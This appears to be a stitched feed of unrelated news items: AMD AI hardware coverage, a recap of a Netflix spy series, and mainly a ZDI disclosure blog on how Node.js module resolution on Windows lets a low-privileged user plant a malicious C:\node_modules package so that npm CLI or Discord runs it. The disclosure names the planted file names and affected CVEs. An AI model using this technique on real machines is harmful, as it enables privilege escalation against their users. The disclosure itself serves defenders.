<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves ...]]></description>
<link>https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</guid>
<pubDate>Sat, 25 Jul 2026 19:47:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain.




Release date: July 25, 2026



Streaming platform: Netflix



Genre: Action, crime, espionage thriller




The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol.



Spoilers ahead for Agent Kim Reactivated Episode 10



The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape.



Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission.



Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening.



Gang-chan prepares another attack



While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law.



Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail.



Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border.



Does Manager Kim save Min-ji?



Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised.



The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season.



Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced.



Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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              intrinsic
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33824: Remote Code Execution in Windows IKEv2]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Micros...]]></description>
<link>https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:57 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by</em> <em>WARP &amp; MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.</em></p>





















  
  




  



